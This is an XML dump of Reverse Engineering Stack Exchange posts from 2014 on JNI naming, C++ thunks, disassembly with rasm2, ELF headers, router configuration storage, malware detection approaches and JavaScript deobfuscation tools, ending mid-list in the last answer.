  <row Id="4542" PostTypeId="2" ParentId="4537" CreationDate="2014-06-05T11:31:51.087" Score="1" Body="&lt;p&gt;The naming conventions for JNI functions are given by the Dalvik VM, a library couldn't change them and expect them to work, i.e. be callable from the Java part of the application. But, the Java_package_function convention is only needed for functions that Java wants to call, it it not neccesary for a &lt;code&gt;C/C++&lt;/code&gt; function calling another one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you compile&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jint Java_com_example_foo(JNIEnv*  env, jobject  this) { return bar(); }&#xA;int bar() { return 3; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;into a library, you can call &lt;code&gt;Java_com_example_foo&lt;/code&gt; from java, and you won't be able to call &lt;code&gt;bar&lt;/code&gt; from java, but nothing prevents &lt;code&gt;Java_com_example_foo&lt;/code&gt; from calling &lt;code&gt;bar&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, there are 2 possibilities that come to mind:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;the Java part is nothing but a stub that calls a &lt;code&gt;main&lt;/code&gt; function in one library, and all the rest is done in &lt;code&gt;C&lt;/code&gt; or &lt;code&gt;C++&lt;/code&gt;. This &lt;code&gt;main&lt;/code&gt; function probably will be called &lt;code&gt;Java_package_function&lt;/code&gt;, not &lt;code&gt;main&lt;/code&gt;, but it's the only function that uses this naming convention.&lt;/li&gt;&#xA;&lt;li&gt;There's another wrapper library which provides the &lt;code&gt;Java_package_function&lt;/code&gt; JNI API calls to the Java part, and calls the C/C++ functions which it imports from a different library. This library would probably be very small, so you might not have considered it interesting, and missed it in your previous analysis.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2014-06-05T11:41:22.303" LastActivityDate="2014-06-05T11:41:22.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4543" PostTypeId="1" CreationDate="2014-06-05T12:05:38.997" Score="11" ViewCount="26320" Body="&lt;p&gt;In real code I have encountered some &lt;em&gt;&quot;non-virtual thunk&quot;&lt;/em&gt; functions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; `non-virtual thunk to'QTextCodecPlugin::create(QString  const&amp;amp;)&#xA;    EXPORT _ZThn8_N16QTextCodecPlugin6createERK7QString&#xA;_ZThn8_N16QTextCodecPlugin6createERK7QString&#xA;   SUB.W   R0, R0, #8&#xA;   B.W     _ZN16QTextCodecPlugin6createERK7QString; QTextCodecPlugin::create(QString  const&amp;amp;)&#xA;&#xA;; End of function `non-virtual thunk to'QTextCodecPlugin::create(QString  const&amp;amp;)&#xA;&#xA;&#xA;; `non-virtual thunk to'QTextCodecPlugin::~QTextCodecPlugin()&#xA;    EXPORT _ZThn8_N16QTextCodecPluginD1Ev&#xA;&#xA;_ZThn8_N16QTextCodecPluginD1Ev&#xA;    SUB.W  R0, R0, #8&#xA;    B.W    _ZN16QTextCodecPluginD2Ev; QTextCodecPlugin::~QTextCodecPlugin()&#xA;&#xA;; End of function `non-virtual thunk to'QTextCodecPlugin::~QTextCodecPlugin()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(GCC, C++, Android NDK, Qt, Necessitas, ARM)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;c++filt&lt;/code&gt; says:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ c++filt _ZThn8_N16QTextCodecPlugin6createERK7QString&#xA;non-virtual thunk to QTextCodecPlugin::create(QString const&amp;amp;)&#xA;$ c++filt _ZThn8_N16QTextCodecPluginD1Ev&#xA;non-virtual thunk to QTextCodecPlugin::~QTextCodecPlugin()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;What and why do these &quot;non-virtual thunks&quot; do?&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="4398" LastEditorUserId="53" LastEditDate="2014-06-05T13:08:57.563" LastActivityDate="2021-03-01T13:56:39.660" Title="What is a non-virtual thunk?" Tags="|c++|virtual-functions|gcc|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4544" PostTypeId="2" ParentId="4522" CreationDate="2014-06-05T12:23:46.777" Score="2" Body="&lt;p&gt;Here is a way to do this with &lt;code&gt;radare2&lt;/code&gt; program &lt;code&gt;rasm2&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rasm2 -a x86 -b 32 -d 7406&#xA;&#xA;je 0x8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This has obviously already been established as &lt;code&gt;je&lt;/code&gt; from the other answers.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But for arguments sake, say you wanted to decode all instructions starting with 0x74 for one additional byte, you could then run the above in a loop and try and find all valid instructions.  This example is for Linux or a Unix shell of some kind, I presume you could achieve the similar with &lt;code&gt;mingw&lt;/code&gt; or Powershell:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for x in `seq 0 255`;do printf &quot;74%02x &quot; $x;rasm2 -a x86 -b 32 -d 74`printf &quot;%02x&quot; $x`;done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Produces:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;7400 je 0x2&#xA;7401 je 0x3&#xA;7402 je 0x4&#xA;7403 je 0x5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(etc...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for x in `seq 0 255`;do printf &quot;33%02x &quot; $x;rasm2 -a x86 -b 32 -d 33`printf &quot;%02x&quot; $x`;done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;gives&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3300 xor eax, [eax]&#xA;3301 xor eax, [ecx]&#xA;3302 xor eax, [edx]&#xA;3303 xor eax, [ebx]&#xA;3304 disassemble error at offset 0&#xA;invalid&#xA;3305 disassemble error at offset 0&#xA;invalid&#xA;3306 xor eax, [esi]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(etc)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could then write a script to grep out the errors and just show valid codes (or the opposite even if you wanted)&lt;/p&gt;&#xA;" OwnerUserId="4212" LastEditorUserId="53" LastEditDate="2014-06-05T12:50:48.840" LastActivityDate="2014-06-05T12:50:48.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4545" PostTypeId="2" ParentId="4543" CreationDate="2014-06-05T13:12:49.167" Score="7" Body="&lt;p&gt;These are object virtual table entries used to implement multiple inheritance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The short story is, the &lt;code&gt;sub&lt;/code&gt; instruction is to do with offsetting the correct derived class object size to the virtual table; but the following (long) article does a much better job of explaining than I could fit here : &lt;a href=&quot;http://thomas-sanchez.net/computer-sciences/2011/08/15/what-every-c-programmer-should-know-the-hard-part/&quot; rel=&quot;noreferrer&quot;&gt;http://thomas-sanchez.net/computer-sciences/2011/08/15/what-every-c-programmer-should-know-the-hard-part/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&#xA;the link above does not work anymore, but there's a copy of this page at webarchive.org:&#xA;&lt;a href=&quot;http://web.archive.org/web/20131210001207/http://thomas-sanchez.net/computer-sciences/2011/08/15/what-every-c-programmer-should-know-the-hard-part/&quot; rel=&quot;noreferrer&quot;&gt;http://web.archive.org/web/20131210001207/http://thomas-sanchez.net/computer-sciences/2011/08/15/what-every-c-programmer-should-know-the-hard-part/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4212" LastEditorUserId="4398" LastEditDate="2015-02-06T06:56:55.147" LastActivityDate="2015-02-06T06:56:55.147" CommentCount="0" CommunityOwnedDate="2014-06-05T13:12:49.167" ContentLicense="CC BY-SA 3.0" />
  <row Id="4546" PostTypeId="1" AcceptedAnswerId="4548" CreationDate="2014-06-05T13:33:02.397" Score="0" ViewCount="142" Body="&lt;p&gt;How should I decide file is malware or not. Before reverse engineering any file, I should be suspect the file. What are the various ways to decide if exe is malicious? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks  &lt;/p&gt;&#xA;" OwnerUserId="2460" LastActivityDate="2014-06-05T13:50:07.733" Title="How to decide file is malware or not?" Tags="|malware|" AnswerCount="1" CommentCount="0" ClosedDate="2014-06-05T14:08:52.347" ContentLicense="CC BY-SA 3.0" />
  <row Id="4547" PostTypeId="2" ParentId="4536" CreationDate="2014-06-05T13:44:11.287" Score="2" Body="&lt;p&gt;Page 4 of &lt;a href=&quot;https://www.nccgroup.com/media/190706/usb_driver_vulnerabilities_whitepaper_january_2013.pdf&quot; rel=&quot;nofollow&quot;&gt;https://www.nccgroup.com/media/190706/usb_driver_vulnerabilities_whitepaper_january_2013.pdf&lt;/a&gt; gives a good introduction to setting up a USB-fuzzing test platform.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Testing USB drivers on host machines is not a straightforward process,&#xA;  because you either need to emulate a USB device or proxy the traffic&#xA;  between a device and the host. As a result of how the protocol works&#xA;  it would be extremely difficult to convert a USB host e.g. a PC into a&#xA;  USB device and therefore, if you are not modifying the traffic&#xA;  en-route via some kind of hooking or proxy solution, you need to use a&#xA;  hardware-based approach. This section details the various different&#xA;  approaches to testing USB hosts and compares the relative merits of&#xA;  each...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-06-05T13:44:11.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4548" PostTypeId="2" ParentId="4546" CreationDate="2014-06-05T13:50:07.733" Score="2" Body="&lt;p&gt;This is a million dollar question and I doubt anybody will be able to provide a convincing answer. There are many methods used by antivirus software &amp;amp; analysts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One is to perform a stupid matching with known malware signatures. Another could be to statically analyze the application, extract the control flow (by reconstructing the &lt;a href=&quot;https://en.wikipedia.org/wiki/Control_flow_graph&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;CFG&lt;/code&gt;&lt;/a&gt;) of the application and deploy heuristics &amp;amp; pattern matching algorithms in order to determine if the application performs suspicious tasks. This can usually be done after analyzing known malware &amp;amp; building profiles of their behaviors (suspicious &lt;code&gt;syscall&lt;/code&gt; call graph, ...). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are numerous techniques and this field is still open for research (&lt;a href=&quot;http://www.cs.colostate.edu/~anderson/cs545/assignments/solutionsGoodExamples/assignment8Williams.pdf&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; document describes an interesting one), some are extremely advanced and may necessitate sharp mathematical skills, and others are hard to program. Mainly, because none of them follow the standard algorithmic approach and rather use machine learning, genetic algorithms, and sometimes &lt;code&gt;AI&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest you going through &lt;a href=&quot;http://www.securelist.com/en/analysis/204791972/The_evolution_of_technologies_used_to_detect_malicious_code?print_mode=1&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; &lt;code&gt;Securelist&lt;/code&gt; article, and &lt;a href=&quot;http://virii.es/U/Using%20Entropy%20Analysis%20to%20Find%20Encrypted%20and%20Packed%20Malware.pdf&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; publication too if you're interested by more material.  &lt;/p&gt;&#xA;" OwnerUserId="4437" LastActivityDate="2014-06-05T13:50:07.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4549" PostTypeId="1" AcceptedAnswerId="4550" CreationDate="2014-06-05T14:22:49.187" Score="5" ViewCount="3366" Body="&lt;p&gt;I would like to load a function I have decompiled in IDA Pro.  All I have is the IDA Pro function name &lt;code&gt;sub_xxxx()&lt;/code&gt; and obviously the address.  I had thought about using &lt;code&gt;dlopen&lt;/code&gt; to load the binary but obviously I don't have a symbol to load as the binary has been stripped.  Could I somehow call the function without a symbol table?  Or do I have to rebuild the symbol table of the binary to then use &lt;code&gt;dlsym&lt;/code&gt; to locate and load the symbol?&lt;/p&gt;&#xA;" OwnerUserId="4499" LastEditorUserId="70" LastEditDate="2014-06-05T15:28:03.773" LastActivityDate="2014-06-13T15:13:31.460" Title="Rebuild symbol table" Tags="|disassembly|dynamic-linking|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4550" PostTypeId="2" ParentId="4549" CreationDate="2014-06-05T15:21:22.630" Score="5" Body="&lt;p&gt;You can call a function at any address. So, load the dynamic library into your process address space, figure out the base of the newly loaded library and take the offset from the base of the library of the function you wan't to call and add that together. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if IDA says the base of the binary is &lt;code&gt;0x4000&lt;/code&gt; and your function is at address &lt;code&gt;0x4100&lt;/code&gt;, then you have an offset of &lt;code&gt;0x100&lt;/code&gt;. Then if you load your library it winds up getting loaded at address &lt;code&gt;0x8000&lt;/code&gt;, you make a function pointer (with the correct signature of course) pointing at address &lt;code&gt;0x8000 + 0x100&lt;/code&gt; and call it. Depending on your platform the base you get for your dynamic library from the platform loader may be further offset from the actual base IDA shows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is of course to add a new export definition for your &lt;code&gt;sub_xxx()&lt;/code&gt; function to the dynamic library and having the loader actually handle any relocations. It will be far more reliable, will allow you to name the function something sane so that you can handle future updates to the library where the function address changes simply by re-adding your new export to the new version. Use something like &lt;a href=&quot;http://www.zynamics.com/bindiff.html&quot; rel=&quot;nofollow&quot;&gt;BinDiff&lt;/a&gt; to find the new location of the function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The third popular option is to use something similar to &lt;a href=&quot;https://www.hex-rays.com/products/ida/tech/flirt/in_depth.shtml&quot; rel=&quot;nofollow&quot;&gt;IDAs FLIRT&lt;/a&gt; signatures in order to scan the loaded dynamic library for the function directly in memory. It's generally called signature scanning and &lt;a href=&quot;https://wiki.alliedmods.net/Signature_Scanning&quot; rel=&quot;nofollow&quot;&gt;here's a more thorough explanation&lt;/a&gt; of the concept on the Windows platform. Very simplified it's a technique for finding a function based off of pattern extracted from the function prologue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case you control the application from what I can see and want to call into a dynamic library you don't have the source for. In that case I would probably go with the second option or the first one if you know that the library will never change.&lt;/p&gt;&#xA;" OwnerUserId="70" LastEditorUserId="53" LastEditDate="2014-06-05T15:33:47.800" LastActivityDate="2014-06-05T15:33:47.800" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4551" PostTypeId="1" AcceptedAnswerId="4572" CreationDate="2014-06-06T03:23:17.553" Score="1" ViewCount="924" Body="&lt;p&gt;I recently read that the kernel and the dynamic loader mostly deal with the &lt;code&gt;program header tables&lt;/code&gt; in an ELF file and that assemblers, compilers and linkers deal with the &lt;code&gt;section header tables&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The number of program header tables and section header tables are mentioned in the ELF header in fields named  &lt;code&gt;e_phnum&lt;/code&gt; and &lt;code&gt;e_shnum&lt;/code&gt; respectively. &lt;code&gt;e_phnum&lt;/code&gt; is two bytes in size, so if the number of program headers is &gt; 65535, we use a scheme known as &lt;code&gt;extended numbering&lt;/code&gt; where, &lt;code&gt;e_phnum&lt;/code&gt; is set to 0xffff and &lt;code&gt;sh_link&lt;/code&gt; field of the zeroth section header table holds the actual count.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My doubt is :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If the count of program headers exceeds 65535, does that mean the kernel and/or the dynamic loader end up having to read the section table ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerDisplayName="user1743" LastEditorUserId="53" LastEditDate="2014-06-06T18:30:36.933" LastActivityDate="2014-06-09T07:23:12.800" Title="Kernel dealing with the section headers in an ELF" Tags="|linux|file-format|elf|kernel-mode|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4552" PostTypeId="1" AcceptedAnswerId="4564" CreationDate="2014-06-06T09:30:42.100" Score="2" ViewCount="287" Body="&lt;p&gt;I'm currently researching my home router (D-Link 2760-U) which has a (kind-of) proprietary ISP firmware. What I'm trying to achieve is understanding how the router is persisting it's configuration settings across reboots.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;mount&lt;/code&gt; output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/dev/mtdblock0 on / type squashfs (ro,relatime)&#xA;/proc on /proc type proc (rw,relatime)&#xA;tmpfs on /var type tmpfs (rw,relatime,size=420k)&#xA;tmpfs on /mnt type tmpfs (rw,relatime,size=16k)&#xA;sysfs on /sys type sysfs (rw,relatime)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I did &lt;code&gt;nvram show&lt;/code&gt; and it does contain some wireless configuration such as the encryption in use, wireless modes, pre-shared key but that's about it. Obviously the router has other configurations (such as DNS, PPP, Port forwards etc) that must be stored elsewhere. &#xA;As it can be observed, all mounted filesystems are volatile and thus configuration cannot be stored in them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where can the information be saved besides filesystem and NVRAM? How do I go about finding this out?&lt;/p&gt;&#xA;" OwnerUserId="4791" LastActivityDate="2014-06-08T12:02:59.013" Title="How can I figure where my router stores it's configuration across reboots?" Tags="|linux|firmware|embedded|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4553" PostTypeId="1" CreationDate="2014-06-06T11:04:22.990" Score="1" ViewCount="286" Body="&lt;p&gt;Sometime, when doing reverse in some binaries I get this kind of ASCII strings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000: 4665 5446 6554 4665 5446 6554 4665 5446  FeTFeTFeTFeTFeTF&#xA;00000010: 6554 4665 5446 6554 4665 5446 6554 4665  eTFeTFeTFeTFeTFe&#xA;00000020: 5446 6554 4665 5446 6554 4665 5446 6554  TFeTFeTFeTFeTFeT&#xA;00000030: 4665 5446 6554 4665 5446 6554 4665 5446  FeTFeTFeTFeTFeTF&#xA;00000040: 6554 4665 5446 6554 4665 5446 6554 4665  eTFeTFeTFeTFeTFe&#xA;00000050: 5446 6554 4665 5446 6554 4665 5446 6554  TFeTFeTFeTFeTFeT&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What does it correspond to ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: following editor request, clarification:&#xA;When you have a reverse engineering, static analysis style, sometime you end up with binaries you can't run, can't even load in debugger / IDA due to strange arch or lack of known entry point. Therefore, understanding the content of the files, sections, strings is very useful. Hence the question.&lt;/p&gt;&#xA;" OwnerUserId="4092" LastEditorUserId="4092" LastEditDate="2014-06-06T17:25:21.143" LastActivityDate="2014-06-10T18:47:57.323" Title="Strange repeating string &quot;FeTFeTFeTFeTFeTFe...&quot; in binaries" Tags="|binary-analysis|strings|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="4554" PostTypeId="2" ParentId="4553" CreationDate="2014-06-06T12:52:13.973" Score="1" Body="&lt;p&gt;In IDA, you'll get the above if you have code that has an data reference to that memory address. It happens to me all the time, if the data &quot;could be a string&quot; IDA's auto magic type guesser does just that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the true data could be &lt;code&gt;words&lt;/code&gt;, or &lt;code&gt;dwords&lt;/code&gt;, but because it's all in the ASCII range, bang one big epic string. I tend to jump to that location, hit undefine (&lt;kbd&gt;u&lt;/kbd&gt;), and the data (&lt;kbd&gt;d&lt;/kbd&gt;) once to turn to byte, and wait until later when I understand the data layout/structure better.&lt;/p&gt;&#xA;" OwnerUserId="1931" LastEditorUserId="53" LastEditDate="2014-06-06T15:29:49.067" LastActivityDate="2014-06-06T15:29:49.067" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4555" PostTypeId="2" ParentId="2247" CreationDate="2014-06-06T19:29:28.920" Score="-1" Body="&lt;p&gt;&lt;a href=&quot;http://www.elgris.com&quot; rel=&quot;nofollow&quot;&gt;Elgris Technologies&lt;/a&gt; has the tool &quot;E-studio For Test&quot; that can generate OrCAD, DxDesigner and other schematics from a PCB.&lt;/p&gt;&#xA;" OwnerUserId="4797" LastEditorUserId="53" LastEditDate="2014-06-06T20:07:50.253" LastActivityDate="2014-06-06T20:07:50.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4557" PostTypeId="2" ParentId="3814" CreationDate="2014-06-07T12:17:41.447" Score="2" Body="&lt;p&gt;If the board is a functional unit and not just a board with a single SOC on it, your best bet is probably to find small pin-count devices such as serial EEPROMs or an SDCard connector that have a SPI interface and known pinout and trace back from there.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can proceed by process of elimination since there are 17 pins, and you can probably figure out which ones are power and ground and clock, which probably leaves about 13 pins.  If you can power the device and observe it in action, simply checking for activity on the lines may help if you can assure that the SPI bus is actually active.  It's also frequently true that the four pins are in close proximity, so that may help as well.&lt;/p&gt;&#xA;" OwnerUserId="3557" LastActivityDate="2014-06-07T12:17:41.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4558" PostTypeId="1" CreationDate="2014-06-07T12:32:30.813" Score="1" ViewCount="1675" Body="&lt;p&gt;Under what circumstances does the output of &lt;code&gt;ldd&lt;/code&gt; have only the absolute path?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the below eg, &lt;code&gt;/usr/lib/arm-linux-gnueabihf/libcofi_rpi.so&lt;/code&gt; and &lt;code&gt;/lib/ld-linux-armhf.so.3&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pi@raspberrypi ~ $ uname -a&#xA;Linux raspberrypi 3.10.25+ #622 PREEMPT Fri Jan 3 18:41:00 GMT 2014 armv6l GNU/Linux&#xA;pi@raspberrypi ~ $ file test&#xA;test: ELF 32-bit LSB executable, ARM, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=0x28fd43cd2e96e8beb20de68e18d7dacbcc8af48d, not stripped&#xA;pi@raspberrypi ~ $ ldd ./test&#xA;    /usr/lib/arm-linux-gnueabihf/libcofi_rpi.so (0xb6f7e000)&#xA;    libc.so.6 =&amp;gt; /lib/arm-linux-gnueabihf/libc.so.6 (0xb6e42000)&#xA;    /lib/ld-linux-armhf.so.3 (0xb6f8c000)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user1743" LastActivityDate="2014-06-08T03:28:35.913" Title="ldd showing absolute path only" Tags="|linux|elf|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4559" PostTypeId="2" ParentId="4558" CreationDate="2014-06-07T12:46:41.947" Score="1" Body="&lt;p&gt;Possibly the absolute path is written inside the binary. Try &lt;code&gt;readelf -d test&lt;/code&gt; and look at the NEEDED entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;ld-linux&lt;/code&gt; file is the dynamic interpreter and is always an absolute path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: to see the dynamic interpreter info you need to dump the program headers (&lt;code&gt;readelf -l&lt;/code&gt;). And I guess &lt;code&gt;libcofi_rpi.so&lt;/code&gt; may be loaded by the interpreter and not your program.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2014-06-08T03:28:35.913" LastActivityDate="2014-06-08T03:28:35.913" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4561" PostTypeId="1" CreationDate="2014-06-08T09:58:49.447" Score="16" ViewCount="124901" Body="&lt;p&gt;I'm having serious problems deobfuscating a JavaScript file at work. This file is inside a web app that I was left in charge to improve it. The problem is that I can do it without having access to this file and the previous programmer that obfuscated it is not reachable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried many ways of deobfuscation but none worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone please help?&#xA;The code it's in the link bellow:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/4tEiJGLU&quot; rel=&quot;noreferrer&quot;&gt;Link for The code&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4789" LastActivityDate="2022-03-08T10:21:51.157" Title="How to deobfuscate an obfuscated javascript file like this?" Tags="|obfuscation|deobfuscation|javascript|" AnswerCount="1" CommentCount="2" ClosedDate="2014-06-08T14:37:34.597" ContentLicense="CC BY-SA 3.0" />
  <row Id="4562" PostTypeId="2" ParentId="4561" CreationDate="2014-06-08T10:51:59.183" Score="24" Body="&lt;p&gt;There are a few tools that you might try when wanting to analyze JavaScript:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://relentless-coding.org/projects/jsdetox&quot; rel=&quot;nofollow noreferrer&quot;&gt;JSDetox&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://malzilla.sourceforge.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Malzilla&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://addons.mozilla.org/en-us/firefox/addon/javascript-deobfuscator/&quot; rel=&quot;nofollow noreferrer&quot;&gt;JavaScript Deobfuscator&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blog.didierstevens.com/programs/extractscripts/&quot; rel=&quot;nofollow noreferrer&quot;&gt;ExtractScript&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/einars/js-beautify&quot; rel=&quot;nofollow noreferrer&quot;&gt;JS-Beautifier&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://code.google.com/p/jsunpack-n/&quot; rel=&quot;nofollow noreferrer&quot;&gt;JS-Unpack&lt;/a&gt; (see also &lt;a href=&quot;http://jsunpack.blogspot.fr/&quot; rel=&quot;nofollow noreferrer&quot;&gt;blog&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Mozilla/Projects/Rhino/Debugger&quot; rel=&quot;nofollow noreferrer&quot;&gt;Rhino Debugger&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://getfirebug.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Firebug&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Mozilla/Projects/SpiderMonkey&quot; rel=&quot;nofollow noreferrer&quot;&gt;SpiderMonkey&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://code.google.com/p/v8/&quot; rel=&quot;nofollow noreferrer&quot;&gt;V8&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.jsnice.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;JSNice&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;See also a few tutorials on analyzing obfuscated JavaScript:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://resources.infosecinstitute.com/analyzing-javascript/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Analyzing Malicious JavaScript&lt;/a&gt; by Dejan Lukan.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://isc.sans.edu/diary/Advanced+obfuscated+JavaScript+analysis/4246&quot; rel=&quot;nofollow noreferrer&quot;&gt;Advanced obfuscated JavaScript analysis&lt;/a&gt; by Daniel Wesemann.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://isc.sans.edu/tag.html?tag=javascript&amp;amp;tag=obfuscation&quot; rel=&quot;nofollow noreferrer&quot;&gt;JavaScript Obfuscation on InfoSec Handlers Diary Blog&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;JavaScript Obfuscation - Manual Armor (&lt;a href=&quot;http://secniche.blogspot.fr/2012/04/javascript-obfuscation-manual-armor-1.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;part 1&lt;/a&gt;, &lt;a href=&quot;http://secniche.blogspot.fr/2012/04/javascript-obfuscation-manual-armor-2.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;part 2&lt;/a&gt;) by Aditya K Sood.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;And, finally, a few questions that have been already answered here:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/3085/analyze-obfuscated-code&quot;&gt;Analyze obfuscated JavaScript code?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1436/analyzing-highly-obfuscated-javascript&quot;&gt;Analyzing highly obfuscated 